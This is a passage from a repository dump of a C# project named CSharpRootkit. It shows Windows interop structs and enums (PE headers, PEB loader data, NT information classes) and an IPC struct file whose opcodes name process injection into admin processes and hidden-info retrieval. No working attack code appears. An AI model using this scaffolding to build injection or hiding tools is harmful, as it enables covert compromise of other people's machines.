77 | ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD
78 | ProcessFaultInformation, // PROCESS_FAULT_INFORMATION
79 | ProcessTelemetryIdInformation, // PROCESS_TELEMETRY_ID_INFORMATION
80 | ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION
81 | ProcessDefaultCpuSetsInformation,
82 | ProcessAllowedCpuSetsInformation,
83 | ProcessSubsystemProcess,
84 | ProcessJobMemoryInformation, // PROCESS_JOB_MEMORY_INFO
85 | ProcessInPrivate, // since THRESHOLD2 // 70
86 | ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables
87 | ProcessIumChallengeResponse,
88 | ProcessChildProcessInformation, // PROCESS_CHILD_PROCESS_INFORMATION
89 | ProcessHighGraphicsPriorityInformation,
90 | ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2
91 | ProcessEnergyValues, // PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES
92 | ProcessActivityThrottleState, // PROCESS_ACTIVITY_THROTTLE_STATE
93 | ProcessActivityThrottlePolicy, // PROCESS_ACTIVITY_THROTTLE_POLICY
94 | ProcessWin32kSyscallFilterInformation,
95 | ProcessDisableSystemAllowedCpuSets, // 80
96 | ProcessWakeInformation, // PROCESS_WAKE_INFORMATION
97 | ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE
98 | ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3
99 | ProcessCaptureTrustletLiveDump,
100 | ProcessTelemetryCoverage,
101 | ProcessEnclaveInformation,
102 | ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION
103 | ProcessUptimeInformation, // PROCESS_UPTIME_INFORMATION
104 | ProcessImageSection, // q: HANDLE
105 | ProcessDebugAuthInformation, // since REDSTONE4 // 90
106 | ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT
107 | ProcessSequenceNumber, // q: ULONGLONG
108 | ProcessLoaderDetour, // since REDSTONE5
109 | ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION
110 | ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION
111 | ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION
112 | ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION
113 | ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1
114 | ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION
115 | MaxProcessInfoClass
116 | }
117 |
118 | public enum THREADINFOCLASS : uint
119 | {
120 | ThreadBasicInformation,
121 | ThreadTimes,
122 | ThreadPriority,
123 | ThreadBasePriority,
124 | ThreadAffinityMask,
125 | ThreadImpersonationToken,
126 | ThreadDescriptorTableEntry,
127 | ThreadEnableAlignmentFaultFixup,
128 | ThreadEventPair_Reusable,
129 | ThreadQuerySetWin32StartAddress,
130 | ThreadZeroTlsCell,
131 | ThreadPerformanceCount,
132 | ThreadAmILastThread,
133 | ThreadIdealProcessor,
134 | ThreadPriorityBoost,
135 | ThreadSetTlsArrayAddress,
136 | ThreadIsIoPending,
137 | ThreadHideFromDebugger,
138 | ThreadBreakOnTermination,
139 | MaxThreadInfoClass,
140 | }
141 |
142 |
143 | public struct UINTRESULT
144 | {
145 | public uint Value;
146 | }
147 | public struct USHORTRESULT
148 | {
149 | public ushort Value;
150 | }
151 |
152 | public struct ULONGRESULT
153 | {
154 | public ulong Value;
155 | }
156 |
157 |
158 | [StructLayout(LayoutKind.Sequential)]
159 | public struct IMAGE_FILE_HEADER
160 | {
161 | public ushort Machine;
162 | public ushort NumberOfSections;
163 | public uint TimeDateStamp;
164 | public uint PointerToSymbolTable;
165 | public uint NumberOfSymbols;
166 | public ushort SizeOfOptionalHeader;
167 | public ushort Characteristics;
168 | }
169 |
170 | [StructLayout(LayoutKind.Sequential)]
171 | public struct IMAGE_DATA_DIRECTORY
172 | {
173 | public uint VirtualAddress;
174 | public uint Size;
175 | }
176 |
177 | [StructLayout(LayoutKind.Sequential)]
178 | public struct IMAGE_DOS_HEADER
179 | {
180 | public ushort e_magic;
181 | public ushort e_cblp;
182 | public ushort e_cp;
183 | public ushort e_crlc;
184 | public ushort e_cparhdr;
185 | public ushort e_minalloc;
186 | public ushort e_maxalloc;
187 | public ushort e_ss;
188 | public ushort e_sp;
189 | public ushort e_csum;
190 | public ushort e_ip;
191 | public ushort e_cs;
192 | public ushort e_lfarlc;
193 | public ushort e_ovno;
194 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
195 | public ushort[] e_res;
196 | public ushort e_oemid;
197 | public ushort e_oeminfo;
198 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
199 | public ushort[] e_res2;
200 | public int e_lfanew;
201 | }
202 |
203 | [StructLayout(LayoutKind.Sequential)]
204 | public struct IMAGE_EXPORT_DIRECTORY
205 | {
206 | public uint Characteristics;
207 | public uint TimeDateStamp;
208 | public ushort MajorVersion;
209 | public ushort MinorVersion;
210 | public uint Name;
211 | public uint Base;
212 | public uint NumberOfFunctions;
213 | public uint NumberOfNames;
214 | public uint AddressOfFunctions; // RVA from base of image
215 | public uint AddressOfNames; // RVA from base of image
216 | public uint AddressOfNameOrdinals; // RVA from base of image
217 | }
218 |
219 | [StructLayout(LayoutKind.Sequential)]
220 | public struct PROCESS_BASIC_INFORMATION
221 | {
222 | public int ExitStatus;
223 | public IntPtr PebBaseAddress;
224 | public UIntPtr AffinityMask;
225 | public uint BasePriority;
226 | public UIntPtr UniqueProcessId;
227 | public UIntPtr InheritedFromUniqueProcessId;
228 | }
229 |
230 |
231 | public enum FileType
232 | {
233 | FILE_TYPE_UNKNOWN = 0x0000, // The specified file type is unknown.
234 | FILE_TYPE_DISK = 0x0001, // The specified file is a disk file.
235 | FILE_TYPE_CHAR = 0x0002, // The specified file is a character file, typically an LPT device or a console.
236 | FILE_TYPE_PIPE = 0x0003, // The specified file is a socket, a named pipe, or an anonymous pipe.
237 | FILE_TYPE_REMOTE = 0x8000, // Unused.
238 | }
239 |
240 | [StructLayout(LayoutKind.Sequential)]
241 | public struct SYSTEM_INFO
242 | {
243 | public ushort processorArchitecture;
244 | public ushort reserved;
245 | public uint pageSize;
246 | public IntPtr minimumApplicationAddress;
247 | public IntPtr maximumApplicationAddress;
248 | public IntPtr activeProcessorMask;
249 | public uint numberOfProcessors;
250 | public uint processorType;
251 | public uint allocationGranularity;
252 | public ushort processorLevel;
253 | public ushort processorRevision;
254 | }
255 |
256 | [StructLayout(LayoutKind.Sequential)]
257 | public struct MEMORY_BASIC_INFORMATION
258 | {
259 | public IntPtr BaseAddress;
260 | public IntPtr AllocationBase;
261 | public uint AllocationProtect;
262 | public UIntPtr RegionSize;
263 | public uint State;
264 | public uint Protect;
265 | public uint Type;
266 | }
267 |
268 | [StructLayout(LayoutKind.Sequential)]
269 | public struct TOKEN_ELEVATION
270 | {
271 | public uint TokenIsElevated;
272 | }
273 |
274 | [StructLayout(LayoutKind.Sequential)]
275 | public struct TOKEN_MANDATORY_LABEL
276 | {
277 | public SID_AND_ATTRIBUTES Label;
278 | }
279 |
280 | [StructLayout(LayoutKind.Sequential)]
281 | public struct SID_AND_ATTRIBUTES
282 | {
283 | public IntPtr Sid;
284 | public int Attributes;
285 | }
286 |
287 | public enum TokenIntegrityLevel
288 | {
289 | Untrusted = 0,
290 | Low = 0x1000,
291 | Medium = 0x2000,
292 | MediumPlus = Medium + 0x100,
293 | High = 0x3000,
294 | System = 0x4000,
295 | ProtectedProcess = 0x5000,
296 | };
297 |
298 | [StructLayout(LayoutKind.Sequential)]
299 | public struct CLIENT_ID
300 | {
301 | public IntPtr UniqueProcess;
302 | public IntPtr UniqueThread;
303 | }
304 |
305 | [StructLayout(LayoutKind.Sequential)]
306 | public class THREAD_BASIC_INFORMATION
307 | {
308 | public uint ExitStatus;
309 | public IntPtr TebBaseAddress;
310 | public CLIENT_ID ClientId;
311 | public UIntPtr AffinityMask;
312 | public int Priority;
313 | public int BasePriority;
314 | }
315 |
316 | }
317 | }
318 |
--------------------------------------------------------------------------------
/CSharpRootkit/Structs/InternalStructs32.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using static CSharpRootkit.InternalStructs;
8 |
9 | namespace CSharpRootkit
10 | {
11 | public class InternalStructs32
12 | {
13 |
14 | [StructLayout(LayoutKind.Sequential)]
15 | public struct LIST_ENTRY32
16 | {
17 | public uint Flink;
18 | public uint Blink;
19 | }
20 |
21 | [StructLayout(LayoutKind.Sequential)]
22 | public struct PEB_LDR_DATA32
23 | {
24 | public uint Length;
25 | public bool Initialized;
26 | public uint SsHandle;
27 | public LIST_ENTRY32 InLoadOrderModuleList;
28 | public LIST_ENTRY32 InMemoryOrderModuleList;
29 | public LIST_ENTRY32 InInitializationOrderModuleList;
30 | public uint EntryInProgress;
31 | public bool ShutdownInProgress;
32 | public uint ShutdownThreadId;
33 | }
34 |
35 | [StructLayout(LayoutKind.Sequential)]
36 | public struct UNICODE_STRING32
37 | {
38 | public ushort Length;
39 | public ushort MaximumLength;
40 | public uint Buffer;
41 | }
42 |
43 | [StructLayout(LayoutKind.Sequential)]
44 | public struct LDR_DATA_TABLE_ENTRY32_SNAP
45 | {
46 | public LIST_ENTRY32 InLoadOrderLinks;
47 | public LIST_ENTRY32 InMemoryOrderLinks;
48 | public LIST_ENTRY32 InInitializationOrderLinks;
49 | public uint DllBase;
50 | public uint EntryPoint;
51 | public uint SizeOfImage;
52 | public UNICODE_STRING32 FullDllName;
53 | public UNICODE_STRING32 BaseDllName;
54 | }
55 | [StructLayout(LayoutKind.Sequential)]
56 | public struct IMAGE_OPTIONAL_HEADER32
57 | {
58 | public ushort Magic;
59 | public byte MajorLinkerVersion;
60 | public byte MinorLinkerVersion;
61 | public uint SizeOfCode;
62 | public uint SizeOfInitializedData;
63 | public uint SizeOfUninitializedData;
64 | public uint AddressOfEntryPoint;
65 | public uint BaseOfCode;
66 | public uint BaseOfData;
67 |
68 | public uint ImageBase;
69 | public uint SectionAlignment;
70 | public uint FileAlignment;
71 | public ushort MajorOperatingSystemVersion;
72 | public ushort MinorOperatingSystemVersion;
73 | public ushort MajorImageVersion;
74 | public ushort MinorImageVersion;
75 | public ushort MajorSubsystemVersion;
76 | public ushort MinorSubsystemVersion;
77 | public uint Win32VersionValue;
78 | public uint SizeOfImage;
79 | public uint SizeOfHeaders;
80 | public uint CheckSum;
81 | public ushort Subsystem;
82 | public ushort DllCharacteristics;
83 | public uint SizeOfStackReserve;
84 | public uint SizeOfStackCommit;
85 | public uint SizeOfHeapReserve;
86 | public uint SizeOfHeapCommit;
87 | public uint LoaderFlags;
88 | public uint NumberOfRvaAndSizes;
89 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
90 | public IMAGE_DATA_DIRECTORY[] DataDirectory;
91 | }
92 |
93 | [StructLayout(LayoutKind.Sequential)]
94 | public struct IMAGE_NT_HEADERS32
95 | {
96 | public uint Signature;
97 | public IMAGE_FILE_HEADER FileHeader;
98 | public IMAGE_OPTIONAL_HEADER32 OptionalHeader;
99 | }
100 |
101 |
102 | public static IntPtr GetLdr32(IntPtr addr)
103 | {
104 | return addr + 0xc;
105 | }
106 |
107 |
108 | }
109 | }
110 |
--------------------------------------------------------------------------------
/CSharpRootkit/Structs/InternalStructs64.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using static CSharpRootkit.InternalStructs;
8 |
9 | namespace CSharpRootkit
10 | {
11 | public class InternalStructs64
12 | {
13 | [StructLayout(LayoutKind.Sequential)]
14 | public struct PROCESS_BASIC_INFORMATION64
15 | {
16 | public int ExitStatus;
17 | public ulong PebBaseAddress;
18 | public ulong AffinityMask;
19 | public uint BasePriority;
20 | public ulong UniqueProcessId;
21 | public ulong InheritedFromUniqueProcessId;
22 | }
23 |
24 | [StructLayout(LayoutKind.Sequential)]
25 |
26 | public struct LIST_ENTRY64
27 | {
28 | public ulong Flink;
29 | public ulong Blink;
30 | }
31 |
32 | [StructLayout(LayoutKind.Sequential)]
33 | public struct PEB_LDR_DATA64
34 | {
35 | public uint Length;
36 | public bool Initialized;
37 | public ulong SsHandle;
38 | public LIST_ENTRY64 InLoadOrderModuleList;
39 | public LIST_ENTRY64 InMemoryOrderModuleList;
40 | public LIST_ENTRY64 InInitializationOrderModuleList;
41 | public ulong EntryInProgress;
42 | public bool ShutdownInProgress;
43 | public ulong ShutdownThreadId;
44 | }
45 |
46 | [StructLayout(LayoutKind.Sequential)]
47 |
48 | public struct UNICODE_STRING64
49 | {
50 | public ushort Length;
51 | public ushort MaximumLength;
52 | public ulong Buffer;
53 | }
54 |
55 | [StructLayout(LayoutKind.Sequential)]
56 | public struct STRING64
57 | {
58 | public ushort Length;
59 | public ushort MaximumLength;
60 | public ulong Buffer;
61 | }
62 |
63 | [StructLayout(LayoutKind.Sequential)]
64 | public struct LDR_DATA_TABLE_ENTRY64_SNAP
65 | {
66 | public LIST_ENTRY64 InLoadOrderLinks;
67 | public LIST_ENTRY64 InMemoryOrderLinks;
68 | public LIST_ENTRY64 InInitializationOrderLinks;
69 | public ulong DllBase;
70 | public ulong EntryPoint;
71 | public uint SizeOfImage;
72 | public UNICODE_STRING64 FullDllName;
73 | public UNICODE_STRING64 BaseDllName;
74 | }
75 |
76 | [StructLayout(LayoutKind.Sequential)]
77 | public struct IMAGE_OPTIONAL_HEADER64
78 | {
79 | public ushort Magic;
80 | public byte MajorLinkerVersion;
81 | public byte MinorLinkerVersion;
82 | public uint SizeOfCode;
83 | public uint SizeOfInitializedData;
84 | public uint SizeOfUninitializedData;
85 | public uint AddressOfEntryPoint;
86 | public uint BaseOfCode;
87 |
88 | public ulong ImageBase;
89 | public uint SectionAlignment;
90 | public uint FileAlignment;
91 | public ushort MajorOperatingSystemVersion;
92 | public ushort MinorOperatingSystemVersion;
93 | public ushort MajorImageVersion;
94 | public ushort MinorImageVersion;
95 | public ushort MajorSubsystemVersion;
96 | public ushort MinorSubsystemVersion;
97 | public uint Win32VersionValue;
98 | public uint SizeOfImage;
99 | public uint SizeOfHeaders;
100 | public uint CheckSum;
101 | public ushort Subsystem;
102 | public ushort DllCharacteristics;
103 | public ulong SizeOfStackReserve;
104 | public ulong SizeOfStackCommit;
105 | public ulong SizeOfHeapReserve;
106 | public ulong SizeOfHeapCommit;
107 | public uint LoaderFlags;
108 | public uint NumberOfRvaAndSizes;
109 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
110 | public IMAGE_DATA_DIRECTORY[] DataDirectory;
111 | }
112 |
113 |
114 |
115 | [StructLayout(LayoutKind.Sequential)]
116 | public struct IMAGE_NT_HEADERS64
117 | {
118 | public uint Signature;
119 | public IMAGE_FILE_HEADER FileHeader;
120 | public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
121 | }
122 |
123 |
124 | [StructLayout(LayoutKind.Sequential)]
125 | public struct _RTL_DRIVE_LETTER_CURDIR
126 | {
127 | public ushort Flags;
128 | public ushort Length;
129 | public int TimeStamp;
130 | public STRING64 DosPath;
131 | };
132 |
133 | [StructLayout(LayoutKind.Sequential)]
134 | public struct _CURDIR
135 | {
136 | public UNICODE_STRING64 DosPath;
137 | public ulong Handle;
138 | };
139 |
140 | [StructLayout(LayoutKind.Sequential)]
141 | public struct RTL_USER_PROCESS_PARAMETERS64
142 | {
143 | public uint MaximumLength;
144 | public uint Length;
145 | public uint Flags;
146 | public uint DebugFlags;
147 | public ulong ConsoleHandle;
148 | public uint ConsoleFlags;
149 | public ulong StandardInput;
150 | public ulong StandardOutput;
151 | public ulong StandardError;
152 | public _CURDIR CurrentDirectory;
153 | public UNICODE_STRING64 DllPath;
154 | public UNICODE_STRING64 ImagePathName;
155 | public UNICODE_STRING64 CommandLine;
156 | public ulong Environment;
157 | public uint StartingX;
158 | public uint StartingY;
159 | public uint CountX;
160 | public uint CountY;
161 | public uint CountCharsX;
162 | public uint CountCharsY;
163 | public uint FillAttribute;
164 | public uint WindowFlags;
165 | public uint ShowWindowFlags;
166 | public UNICODE_STRING64 WindowTitle;
167 | public UNICODE_STRING64 DesktopInfo;
168 | public UNICODE_STRING64 ShellInfo;
169 | public UNICODE_STRING64 RuntimeData;
170 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)]
171 | public _RTL_DRIVE_LETTER_CURDIR[] CurrentDirectores;
172 | public ulong EnvironmentSize;
173 | public ulong EnvironmentVersion;
174 | public ulong PackageDependencyData;
175 | public uint ProcessGroupId;
176 | public uint LoaderThreads;
177 | public UNICODE_STRING64 RedirectionDllName;
178 | public UNICODE_STRING64 HeapPartitionName;
179 | public ulong DefaultThreadpoolCpuSetMasks;
180 | public uint DefaultThreadpoolCpuSetMaskCount;
181 | public uint DefaultThreadpoolThreadMaximum;
182 | }
183 |
184 | [StructLayout(LayoutKind.Sequential)]
185 | public struct CLIENT_ID64
186 | {
187 | public ulong UniqueProcess;
188 | public ulong UniqueThread;
189 | }
190 |
191 | [StructLayout(LayoutKind.Sequential)]
192 | public class THREAD_BASIC_INFORMATION64
193 | {
194 | public uint ExitStatus;
195 | public ulong TebBaseAddress;
196 | public CLIENT_ID64 ClientId;
197 | public ulong AffinityMask;
198 | public int Priority;
199 | public int BasePriority;
200 | }
201 |
202 |
203 | public static ulong GetLdr64(ulong addr)
204 | {
205 | return addr + 0x18;
206 | }
207 |
208 | }
209 | }
210 |
--------------------------------------------------------------------------------
/CSharpRootkit/Structs/RootKitIPCStructs.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace CSharpRootkit
9 | {
10 | public class RootKitIPCStructs
11 | {
12 | public enum ClientOpcodeEnum
13 | {
14 | Error,
15 | Start,
16 | Stop,
17 | SetKey,
18 | BasicInfo,
19 | InjectIntoProc
20 | }
21 |
22 | public enum ServerOpcodeEnum
23 | {
24 | Error,
25 | GetCurrentHiddenInfo,
26 | InjectAdminProcess,
27 | MimicNtResumeInjectOnAdminProcess,
28 | SetKey,
29 | InjectDone
30 | }
31 | [StructLayout(LayoutKind.Sequential)]
32 | public struct InjectProcessInfo
33 | {
34 | public int ProcessToInject;
35 | public bool TaskComplete;
36 | }
37 |
38 | [StructLayout(LayoutKind.Sequential)]
39 | public struct clientInjectProcessInfo
40 | {
41 | public int ProcessToInject;
42 | }
43 |
44 | [StructLayout(LayoutKind.Sequential)]
45 | public struct SetKey
46 | {
47 | public int ReturnKey;
48 | }
49 |
50 | [StructLayout(LayoutKind.Sequential)]
51 | public struct MemoryInfoTag
52 | {
53 | public long StartRegion;
54 | public long EndRegion;
55 | public bool HasRegion;
56 | }
57 |
58 | public struct ClientCommand
59 | {
60 | public ServerOpcodeEnum opcode;
61 | public byte[] data;
62 | public MemoryInfoTag location;
63 | }
64 |
65 | public struct ServerCommand
66 | {
67 | public ClientOpcodeEnum opcode;
68 | public byte[] data;
69 | public MemoryInfoTag location;
70 | }
71 |
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/CSharpRootkit/Structs/RootKitInternalStructs.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Runtime.CompilerServices;
5 | using System.Runtime.InteropServices;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace CSharpRootkit.Structs
10 | {
11 | public static class RootKitInternalStructs
12 | {
13 | public enum SYSTEM_INFORMATION_CLASS : uint
14 | {
15 | SystemBasicInformation, // q: SYSTEM_BASIC_INFORMATION
16 | SystemProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
17 | SystemPerformanceInformation, // q: SYSTEM_PERFORMANCE_INFORMATION
18 | SystemTimeOfDayInformation, // q: SYSTEM_TIMEOFDAY_INFORMATION
19 | SystemPathInformation, // not implemented
20 | SystemProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
21 | SystemCallCountInformation, // q: SYSTEM_CALL_COUNT_INFORMATION
22 | SystemDeviceInformation, // q: SYSTEM_DEVICE_INFORMATION
23 | SystemProcessorPerformanceInformation, // q: SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION (EX in: USHORT ProcessorGroup)
24 | SystemFlagsInformation, // q: SYSTEM_FLAGS_INFORMATION
25 | SystemCallTimeInformation, // not implemented // SYSTEM_CALL_TIME_INFORMATION // 10
26 | SystemModuleInformation, // q: RTL_PROCESS_MODULES
27 | SystemLocksInformation, // q: RTL_PROCESS_LOCKS
28 | SystemStackTraceInformation, // q: RTL_PROCESS_BACKTRACES
29 | SystemPagedPoolInformation, // not implemented
30 | SystemNonPagedPoolInformation, // not implemented
31 | SystemHandleInformation, // q: SYSTEM_HANDLE_INFORMATION
32 | SystemObjectInformation, // q: SYSTEM_OBJECTTYPE_INFORMATION mixed with SYSTEM_OBJECT_INFORMATION
33 | SystemPageFileInformation, // q: SYSTEM_PAGEFILE_INFORMATION
34 | SystemVdmInstemulInformation, // q: SYSTEM_VDM_INSTEMUL_INFO
35 | SystemVdmBopInformation, // not implemented // 20
36 | SystemFileCacheInformation, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (info for WorkingSetTypeSystemCache)
37 | SystemPoolTagInformation, // q: SYSTEM_POOLTAG_INFORMATION
38 | SystemInterruptInformation, // q: SYSTEM_INTERRUPT_INFORMATION (EX in: USHORT ProcessorGroup)
39 | SystemDpcBehaviorInformation, // q: SYSTEM_DPC_BEHAVIOR_INFORMATION; s: SYSTEM_DPC_BEHAVIOR_INFORMATION (requires SeLoadDriverPrivilege)
40 | SystemFullMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
41 | SystemLoadGdiDriverInformation, // s (kernel-mode only)
42 | SystemUnloadGdiDriverInformation, // s (kernel-mode only)
43 | SystemTimeAdjustmentInformation, // q: SYSTEM_QUERY_TIME_ADJUST_INFORMATION; s: SYSTEM_SET_TIME_ADJUST_INFORMATION (requires SeSystemtimePrivilege)
44 | SystemSummaryMemoryInformation, // not implemented // SYSTEM_MEMORY_USAGE_INFORMATION
45 | SystemMirrorMemoryInformation, // s (requires license value "Kernel-MemoryMirroringSupported") (requires SeShutdownPrivilege) // 30
46 | SystemPerformanceTraceInformation, // q; s: (type depends on EVENT_TRACE_INFORMATION_CLASS)
47 | SystemObsolete0, // not implemented
48 | SystemExceptionInformation, // q: SYSTEM_EXCEPTION_INFORMATION
49 | SystemCrashDumpStateInformation, // s: SYSTEM_CRASH_DUMP_STATE_INFORMATION (requires SeDebugPrivilege)
50 | SystemKernelDebuggerInformation, // q: SYSTEM_KERNEL_DEBUGGER_INFORMATION
51 | SystemContextSwitchInformation, // q: SYSTEM_CONTEXT_SWITCH_INFORMATION
52 | SystemRegistryQuotaInformation, // q: SYSTEM_REGISTRY_QUOTA_INFORMATION; s (requires SeIncreaseQuotaPrivilege)
53 | SystemExtendServiceTableInformation, // s (requires SeLoadDriverPrivilege) // loads win32k only
54 | SystemPrioritySeperation, // s (requires SeTcbPrivilege)
55 | SystemVerifierAddDriverInformation, // s (requires SeDebugPrivilege) // 40
56 | SystemVerifierRemoveDriverInformation, // s (requires SeDebugPrivilege)
57 | SystemProcessorIdleInformation, // q: SYSTEM_PROCESSOR_IDLE_INFORMATION (EX in: USHORT ProcessorGroup)
58 | SystemLegacyDriverInformation, // q: SYSTEM_LEGACY_DRIVER_INFORMATION
59 | SystemCurrentTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION
60 | SystemLookasideInformation, // q: SYSTEM_LOOKASIDE_INFORMATION
61 | SystemTimeSlipNotification, // s: HANDLE (NtCreateEvent) (requires SeSystemtimePrivilege)
62 | SystemSessionCreate, // not implemented
63 | SystemSessionDetach, // not implemented
64 | SystemSessionInformation, // not implemented (SYSTEM_SESSION_INFORMATION)
65 | SystemRangeStartInformation, // q: SYSTEM_RANGE_START_INFORMATION // 50
66 | SystemVerifierInformation, // q: SYSTEM_VERIFIER_INFORMATION; s (requires SeDebugPrivilege)
67 | SystemVerifierThunkExtend, // s (kernel-mode only)
68 | SystemSessionProcessInformation, // q: SYSTEM_SESSION_PROCESS_INFORMATION
69 | SystemLoadGdiDriverInSystemSpace, // s: SYSTEM_GDI_DRIVER_INFORMATION (kernel-mode only) (same as SystemLoadGdiDriverInformation)
70 | SystemNumaProcessorMap, // q: SYSTEM_NUMA_INFORMATION
71 | SystemPrefetcherInformation, // q; s: PREFETCHER_INFORMATION // PfSnQueryPrefetcherInformation
72 | SystemExtendedProcessInformation, // q: SYSTEM_PROCESS_INFORMATION
73 | SystemRecommendedSharedDataAlignment, // q: ULONG // KeGetRecommendedSharedDataAlignment
74 | SystemComPlusPackage, // q; s: ULONG
75 | SystemNumaAvailableMemory, // q: SYSTEM_NUMA_INFORMATION // 60
76 | SystemProcessorPowerInformation, // q: SYSTEM_PROCESSOR_POWER_INFORMATION (EX in: USHORT ProcessorGroup)
77 | SystemEmulationBasicInformation, // q: SYSTEM_BASIC_INFORMATION
78 | SystemEmulationProcessorInformation, // q: SYSTEM_PROCESSOR_INFORMATION
79 | SystemExtendedHandleInformation, // q: SYSTEM_HANDLE_INFORMATION_EX
80 | SystemLostDelayedWriteInformation, // q: ULONG
81 | SystemBigPoolInformation, // q: SYSTEM_BIGPOOL_INFORMATION
82 | SystemSessionPoolTagInformation, // q: SYSTEM_SESSION_POOLTAG_INFORMATION
83 | SystemSessionMappedViewInformation, // q: SYSTEM_SESSION_MAPPED_VIEW_INFORMATION
84 | SystemHotpatchInformation, // q; s: SYSTEM_HOTPATCH_CODE_INFORMATION
85 | SystemObjectSecurityMode, // q: ULONG // 70
86 | SystemWatchdogTimerHandler, // s: SYSTEM_WATCHDOG_HANDLER_INFORMATION // (kernel-mode only)
87 | SystemWatchdogTimerInformation, // q: SYSTEM_WATCHDOG_TIMER_INFORMATION // (kernel-mode only)
88 | SystemLogicalProcessorInformation, // q: SYSTEM_LOGICAL_PROCESSOR_INFORMATION (EX in: USHORT ProcessorGroup)
89 | SystemWow64SharedInformationObsolete, // not implemented
90 | SystemRegisterFirmwareTableInformationHandler, // s: SYSTEM_FIRMWARE_TABLE_HANDLER // (kernel-mode only)
91 | SystemFirmwareTableInformation, // SYSTEM_FIRMWARE_TABLE_INFORMATION
92 | SystemModuleInformationEx, // q: RTL_PROCESS_MODULE_INFORMATION_EX
93 | SystemVerifierTriageInformation, // not implemented
94 | SystemSuperfetchInformation, // q; s: SUPERFETCH_INFORMATION // PfQuerySuperfetchInformation
95 | SystemMemoryListInformation, // q: SYSTEM_MEMORY_LIST_INFORMATION; s: SYSTEM_MEMORY_LIST_COMMAND (requires SeProfileSingleProcessPrivilege) // 80
96 | SystemFileCacheInformationEx, // q: SYSTEM_FILECACHE_INFORMATION; s (requires SeIncreaseQuotaPrivilege) (same as SystemFileCacheInformation)
97 | SystemThreadPriorityClientIdInformation, // s: SYSTEM_THREAD_CID_PRIORITY_INFORMATION (requires SeIncreaseBasePriorityPrivilege)
98 | SystemProcessorIdleCycleTimeInformation, // q: SYSTEM_PROCESSOR_IDLE_CYCLE_TIME_INFORMATION[] (EX in: USHORT ProcessorGroup)
99 | SystemVerifierCancellationInformation, // SYSTEM_VERIFIER_CANCELLATION_INFORMATION // name:wow64:whNT32QuerySystemVerifierCancellationInformation
100 | SystemProcessorPowerInformationEx, // not implemented
101 | SystemRefTraceInformation, // q; s: SYSTEM_REF_TRACE_INFORMATION // ObQueryRefTraceInformation
102 | SystemSpecialPoolInformation, // q; s: SYSTEM_SPECIAL_POOL_INFORMATION (requires SeDebugPrivilege) // MmSpecialPoolTag, then MmSpecialPoolCatchOverruns != 0
103 | SystemProcessIdInformation, // q: SYSTEM_PROCESS_ID_INFORMATION
104 | SystemErrorPortInformation, // s (requires SeTcbPrivilege)
105 | SystemBootEnvironmentInformation, // q: SYSTEM_BOOT_ENVIRONMENT_INFORMATION // 90
106 | SystemHypervisorInformation, // q: SYSTEM_HYPERVISOR_QUERY_INFORMATION
107 | SystemVerifierInformationEx, // q; s: SYSTEM_VERIFIER_INFORMATION_EX
108 | SystemTimeZoneInformation, // q; s: RTL_TIME_ZONE_INFORMATION (requires SeTimeZonePrivilege)
109 | SystemImageFileExecutionOptionsInformation, // s: SYSTEM_IMAGE_FILE_EXECUTION_OPTIONS_INFORMATION (requires SeTcbPrivilege)
110 | SystemCoverageInformation, // q: COVERAGE_MODULES s: COVERAGE_MODULE_REQUEST // ExpCovQueryInformation (requires SeDebugPrivilege)
111 | SystemPrefetchPatchInformation, // SYSTEM_PREFETCH_PATCH_INFORMATION
112 | SystemVerifierFaultsInformation, // s: SYSTEM_VERIFIER_FAULTS_INFORMATION (requires SeDebugPrivilege)
113 | SystemSystemPartitionInformation, // q: SYSTEM_SYSTEM_PARTITION_INFORMATION
114 | SystemSystemDiskInformation, // q: SYSTEM_SYSTEM_DISK_INFORMATION
115 | SystemProcessorPerformanceDistribution, // q: SYSTEM_PROCESSOR_PERFORMANCE_DISTRIBUTION (EX in: USHORT ProcessorGroup) // 100
